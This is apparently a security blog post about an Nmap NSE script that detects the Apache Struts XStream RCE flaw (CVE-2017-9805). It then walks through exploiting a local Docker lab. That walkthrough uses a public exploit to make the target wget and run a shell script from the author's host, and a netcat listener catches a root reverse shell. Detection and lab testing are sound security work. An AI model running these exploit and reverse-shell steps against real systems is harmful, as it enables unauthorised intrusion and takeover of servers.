Introduction
Here's a Nmap NSE script I wrote to detect the 2nd variant of Apache Struts REST Plugin XStream Remote Code Execution Vulnerability, CVE-2017-9805. Script is downloadable here. This was one of the infamous vulnerability that hit Equifax in 2017. The one that hit them was the 1st variant, CVE-2017-5638. Since there wasn't a NSE script to detect the 2nd variant, I decided to write my own.
Sample output:
$ sudo nmap -n --script ./http-vuln-cve2017-9805 -p 80 ptl-41af4f81-e25cbf8e.libcurl.so --script-args=/ -sSV
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 17:22 +08
Nmap scan report for ptl-41af4f81-e25cbf8e.libcurl.so (104.131.54.221)
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
|_http-server-header: nginx/1.6.2
| http-vuln-cve2017-9805:
| VULNERABLE:
| Apache Struts REST Plugin XStream RCE
| State: VULNERABLE
| IDs: CVE:CVE-2017-9805
| The REST Plugin in Apache Struts 2.1.2 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for
| deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads
|
| Disclosure date: 2017-09-15
| References:
| https://www.r00tpgp.com/2019/02/detecting-apache-struts-s2-052.html
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
| https://cwiki.apache.org/confluence/display/WW/S2-052
|_ https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.38 seconds
On line 67, contains the payload, an exploit would usually have the evil cmd inserted here. Since this is just a detection script, there is no need for it. If vulnerable, the server will respond with HTTP 200 stack trace dump containing key words such as "org.apache.struts2.rest.handler.XStreamHandler.toObject". Line no 80 does a comparison operator agaisnt the http response for the matching string. This is is the indicator that the host is running Apache Struts2 XStreamHandler object and very likely to be vulnerable to RCE.
For testing purposes, you can download a vulnerable docker here.
$ sudo docker pull medicean/vulapps:s_struts2_s2-052
s_struts2_s2-052: Pulling from medicean/vulapps
8ad8b3f87b37: Pull complete
751fe39c4d34: Pull complete
b165e84cccc1: Pull complete
acfcc7cbc59b: Pull complete
04b7a9efc4af: Pull complete
b16e55fe5285: Pull complete
8c5cbb866b55: Pull complete
96290882cd1b: Pull complete
85852deeb719: Pull complete
ff68ba87c7a1: Pull complete
584acdc953da: Pull complete
dd3a387a5bb7: Pull complete
d7cf4f910c29: Pull complete
c181fe02fed0: Pull complete
d2d0ca101682: Pull complete
Digest: sha256:fda2fe3b6df63b95d0e258d0f2822282fb627df7bf86e09c31a76b1a56403130
Status: Downloaded newer image for medicean/vulapps:s_struts2_s2-052
Exploitation
For testing purposes, you can download a vulnerable docker here.
$ sudo docker pull medicean/vulapps:s_struts2_s2-052
s_struts2_s2-052: Pulling from medicean/vulapps
8ad8b3f87b37: Pull complete
751fe39c4d34: Pull complete
b165e84cccc1: Pull complete
acfcc7cbc59b: Pull complete
04b7a9efc4af: Pull complete
b16e55fe5285: Pull complete
8c5cbb866b55: Pull complete
96290882cd1b: Pull complete
85852deeb719: Pull complete
ff68ba87c7a1: Pull complete
584acdc953da: Pull complete
dd3a387a5bb7: Pull complete
d7cf4f910c29: Pull complete
c181fe02fed0: Pull complete
d2d0ca101682: Pull complete
Digest: sha256:fda2fe3b6df63b95d0e258d0f2822282fb627df7bf86e09c31a76b1a56403130
Status: Downloaded newer image for medicean/vulapps:s_struts2_s2-052
$ sudo docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052
ebcfc7292899201c56dee30f8bec934d271a7c93e504cc33d7f451642aae0616
Check if its up:
$ sudo docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ebcfc7292899 medicean/vulapps:s_struts2_s2-052 "/usr/local/tomcat/b…" 12 seconds ago Up 9 seconds 0.0.0.0:80->8080/tcp upbeat_visvesvaraya
Great! Now let's see if my NSE script works:
$ sudo nmap --script http-vuln-cve2017-9805.nse localhost --script-args path=/orders -p 80
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 16:18 +08
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00010s latency).
Other addresses for localhost (not scanned): ::1
PORT STATE SERVICE
80/tcp open http
| http-vuln-cve2017-9805:
| VULNERABLE:
| Apache Struts REST Plugin XStream RCE
| State: VULNERABLE
| IDs: CVE:CVE-2017-9805
| The REST Plugin in Apache Struts 2.1.2 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for
| deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads
|
| Disclosure date: 2017-09-15
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
| https://www.r00tpgp.com/2019/02/detecting-apache-struts-s2-052.html
| https://cwiki.apache.org/confluence/display/WW/S2-052
|_ https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement
Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds
Bang! The vulnerability was detected, now let's download the exploit for cve-2017-9805 and pwn this box:
$ wget https://raw.githubusercontent.com/mazen160/struts-pwn_CVE-2017-9805/master/struts-pwn.py
--2019-02-09 16:21:39-- https://raw.githubusercontent.com/mazen160/struts-pwn_CVE-2017-9805/master/struts-pwn.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.76.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.76.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13843 (14K) [text/plain]
Saving to: ‘struts-pwn.py’
struts-pwn.py 100%[===========================================================================================>] 13.52K --.-KB/s in 0.09s
2019-02-09 16:21:40 (144 KB/s) - ‘struts-pwn.py’ saved [13843/13843]
This exploit is a bit weird, I can't chain it in a oneliner so I had to do it step by step, first we download the bash shell from my host:
$ ./struts-pwn.py -u http://localhost/orders -c "wget http://192.168.43.216:81/shell.sh -O /tmp/shell.sh" --exploit
[*] URL: http://localhost/orders
[*] CMD: wget http://192.168.43.216:81/shell.sh -O /tmp/shell.sh
[$] Request sent.
[.] If the host is vulnerable, the command will be executed in the background.
[%] Done.
On my machine, I run simple HTTP server using python, I know I got RCE since the victim connected to download the shell:
$ sudo python -m SimpleHTTPServer 81
Serving HTTP on 0.0.0.0 port 81 ...
172.17.0.2 - - [09/Feb/2019 17:00:19] "GET /shell.sh HTTP/1.1" 200 -
Its time to execute the exploit on the target:
$ ./struts-pwn.py -u http://localhost/orders -c "bash /tmp/shell.sh" --exploit
[*] URL: http://localhost/orders
[*] CMD: bash /tmp/shell.sh
[$] Request sent.
[.] If the host is vulnerable, the command will be executed in the background.
[%] Done.
Finally, my netcat listener should pick it up, always remember to run this before you execute the exploit:
$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.43.216] from (UNKNOWN) [172.17.0.2] 40786
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@ebcfc7292899:/tmp# uname -a
uname -a
Linux ebcfc7292899 4.18.0-kali3-amd64 #1 SMP Debian 4.18.20-2kali2 (2018-11-30) x86_64 GNU/Linux
root@ebcfc7292899:/tmp#
Summary
There you go folks, I just showed you how I wrote a Nmap NSE script to detect this vulnerability, setup a vulnerable docker image and exploit the vulnerability step by step, there are easier ways I am sure, just use burpsuite to POST the vulnerable code to the target instead of having to blindly execute the exploit script multiple times. Always understand how the exploit works and what you are doing, break down the steps in smaller steps until you get the desired results.
